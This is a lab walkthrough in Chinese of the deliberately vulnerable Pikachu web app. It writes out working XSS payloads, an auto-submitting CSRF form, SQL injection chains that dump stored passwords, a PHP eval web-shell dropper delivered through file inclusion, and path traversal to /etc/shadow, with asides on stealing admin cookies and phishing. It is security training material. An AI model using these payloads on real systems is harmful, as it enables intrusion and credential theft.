Pikachu 漏洞平台通关记录
Pikachu 是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。
暴力破解
基于表单
burp 抓包使用 Clusterbomb 类型爆破

验证码绕过(on server)
抓包请求后发现 只要页面不刷新 验证码就不会改变 爆破方法同上

验证码绕过(on client)
验证码是 js 前端校验 直接抓包 无视 js

token绕过
攻击类型选择:音叉

打开Intruder->Options设置如下参数
请求线程数选择:1


重定向选择:总是

在 Payloads 里面选择 递归搜索


Cross-Site Scripting
反射性xss(get)
发现有 20 个字符限制,直接改为 100 即可

题目是 get 看了下 url 发现提交的参数在 url 后面直接在 url 后面补全也行。

反射性xss(post)
这题对着框搞了半天 看了下提示才知道需要先登录,账号密码还是 admin / 123456
登录后直接输入payload:<script>alert(1)</script>

存储型xss
payload:<script>alert(1)</script>
存储型主要是 你提交的代码会存到数据库中,有用户访问这个页面就会从数据库提取出 xss数据 所以会弹框
可以搭配一些 xss在线平台 找一些有存储型xss漏洞的网站钓管理员 cookies
DOM型xss
提交 payload 后出现一个 what do you see? 点击后 403

f12 可以看到我们提交的数据变成了超链接

看下 js 代码
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
直接闭合使用 onclick 弹出

' onclick="alert(1)">
'><img src='' onerror=alert("1")>
DOM型xss-x
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
这题加了个正则替换把 空格 替换成了 + 号,payload 同上
' onclick="alert(1)">
'><img src='' onerror=alert("1")>
xss盲打
盲打就是在一切能插入的地方插入 xss 代码
看了下提示 需要登录后台,xss 插入成功
payload:<script>alert(1)</script>


xss过滤
输入 <script>alert(1)</script>

输入 alert(1) 输入 123 返回 了别说这些'123'的话,不要怕,就是干!

应该是过滤了 <script>*</scipt
大小写混写直接绕过

试了下其他方法也绕过了 更加确信过滤了 <script>*</scipt

<scriPt>alert(1) </scriPt>
<img src=x onerror=alert("1")>
xss之htmlspecialchars
htmlspecialchars:将 特殊字符 转换为 HTML 实体
| 字符 | 替换后 |
|---|---|
| &(& 符号) | & |
| “(双引号) | “,除非设置了ENT_NOQUOTES** |
| ‘(单引号) | 设置了ENT_QUOTES后,(如果是ENT_HTML401) ,或者’(如果是ENT_XML1、ENT_XHTML或ENT_HTML5**)。 |
| <(小于) | < |
| >(大于) | > |
htmlspecialchars 默认不对 单引号 继续进行转换

' onclick='alert(1)'>
xss之href输出
javascript: alert(1);
// 这段代码前端开发还是挺常用的 javascript:;

xss之js输出
找到了这段 js 直接闭合

'; alert(1);//

CSRF
CSRF(get)
点击提示给了一些账号密码,随便登录一个(我登录的 vince )点击修改信息,看看请求信息。


我们发现是 get 请求 提交了些参数 构造一下发给其他人
csrf_get_edit.php?sex=boy&phonenum=12345678910&add=chain&email=hacker%40pikachu.com&submit=submit
方便区分 我用 无痕模式 登录 allen 用户

然后访问我们构造的链接,可以看到信息变了

现实中可以 用图片或者超链接来诱骗点击。
CSRF(post)
和上一关一样 只不过 get 变成了 post
sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

我们构造一下
sex=boy&phonenum=11111111111&add=攻击成功&email=vince%40pikachu.com&submit=submit
写个 html 自动提交的表单 实际中还可以提交完自动跳转,降低受害者警觉
<script>
setTimeout(function() {
document.getElementById("submit").click();
}, 1000);//延迟1秒
</script>
<form action="http://pikachu.la/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<p class="per_name">姓名:allen</p>
<p class="per_sex">性别:<input type="text" name="sex" value="boy"></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="2222222222"></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="攻击成功"></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p>
<input class="sub" type="submit" name="submit" id="submit" value="submit">
</form>

CSRF Token
修改信息新加了 动态Token 有个骚操作 但是存在 跨域问题 所以做不出

Sql Inject
数字型注入(post)
直接 burp 抓包用 重发器

查字段:1 order by 2
查字段:1 order by 3 #报错,所以只有两个字段
查当前库名:-1 union select 1,database()
查所有库名:-1 union select 1,group_concat(schema_name) from information_schema.schemata
查表名:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
查值:-1 union select 1,group_concat(password) from pikachu.users
字符型注入
查字段:1' order by 2 #
查当前库名:-1' union select 1,database() #
查所有库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:-1' union select 1,group_concat(password) from pikachu.users #
搜索型注入
查字段:a%' order by 3 #
查当前库名:a%' union select 1,2,database() #
查所有库名:a%' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查表名:a%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:a%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:a%' union select 1,2,group_concat(password) from pikachu.users #
xx型注入
查字段:1') order by 2 #
查当前库名:1') union select 1,database() #
查所有库名:1') union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:1') union select 1,group_concat(password) from pikachu.users #
RCE
exec “ping”
命令拼接符
| windows | |
|---|---|
| | | 管道符,前面命令标准输出,后面命令的标准输入 |
| & | A & B 先运行命令A然后运行命令B |
| || | A || B 运行命令A,如果失败则运行命令B |
| && | A && B 运行命令A,如果成功则运行命令B |
| linux | |
|---|---|
| | | 管道符,前面命令标准输出,后面命令的标准输入 |
| & | A & B 先运行命令A然后运行命令B |
| || | A || B 运行命令A,如果失败则运行命令B |
| && | A && B 运行命令A,如果成功则运行命令B |
| ; | A;B 执行完A执行B |
| %0a | 换行符 |
| %0d | 回车符 |

可以直接用 cmd 新建用户之类的
exec “evel”
PHP命令执行函数
system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_popen()等

File Inclusion
File Inclusion(local)
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";
}
isset 检测变量是否存在,然后同时 filename 不为空,GET 后直接包含进了 include。
直接修改 filename 参数即可

File Inclusion(remote)
PHP的配置选项 allow_url_include 为 ON 的话,则 include / require 函数可以 加载远程文件
这个远程文件包含和上面的本地文件包含代码一样,同样没做安全限制
在txt写段代码,然后使用远程包含漏洞可以自动创建一句话php文件
<?php
$shell = "<?php @eval(@\$_POST['cmd']); ?>";
file_put_contents('./shell.php',$shell);
?>
请求之后发现页面没报错 同时目录下新建了个 shell.php,同时一句话也写入了


Unsafe Filedownload
Unsafe Filedownload
可以构造一下下载的文件通过 ../../ 控制目录,例如:
http://pikachu.la/vul/unsafedownload/execdownload.php?filename=../../../README.md
如果是 linux 的话还可以下载 /etc/passwd 和 /etc/shadow
Unsafe Fileupload
之前做过upload-labs:https://5ime.cn/upload-labs.html
client check
上传了一个 php 文件 弹窗警告 感觉应该是 js前端校验

禁用 js 会后上传成功

MIME type
上传 php 出现提示文字

直接 burp 抓包修改 content-Type 绕过

getimagesize
这关直接参考我之前的文章
生成图片马:https://5ime.cn/upload-labs.html#%E7%AC%AC14%E5%85%B3
getimagesize 绕过参考我以前的文章:https://5ime.cn/upload-labs.html#%E7%AC%AC15%E5%85%B3
Over Permission
水平越权
A用户和B用户属于同一级别用户,但各自不能操作对方个人信息。A用户如果越权操作B用户个人信息的情况称为水平越权操作。

修改 username 的参数值 即可查看其他用户的信息

垂直越权
A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权。
我们浏览器登录 admin 用户 复制添加用户的 url 地址 使用无痕窗口登录普通用户 pikachu,访问刚才复制的添加用户的 url 地址。此时普通用户也可以正常访问(未授权访问) 点击创建后跳转到了登录页面


此时我们用 admin 查看用户列表 发现刚才我们使用 pikachu 新建的用户增加成功了。

../../
目录遍历

如果是 linux 还可以遍历 /etc/shadow 和 /etc/passwd
敏感信息泄露
IcanseeyourABC
直接在 注释 找到了 账号密码

URL重定向
不安全的URL跳转
f12 看到 第三个 有个 参数 我们直接构造
http://pikachu.la/vul/urlredirect/urlredirect.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q

发现网页跳转到了百度

这种漏洞用来钓鱼挺不错)
SSRF
SSRF(curl)
我们直接构造
http://pikachu.la/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q

或者用 file协议

或者 端口

SSRF(file_get_content)
同上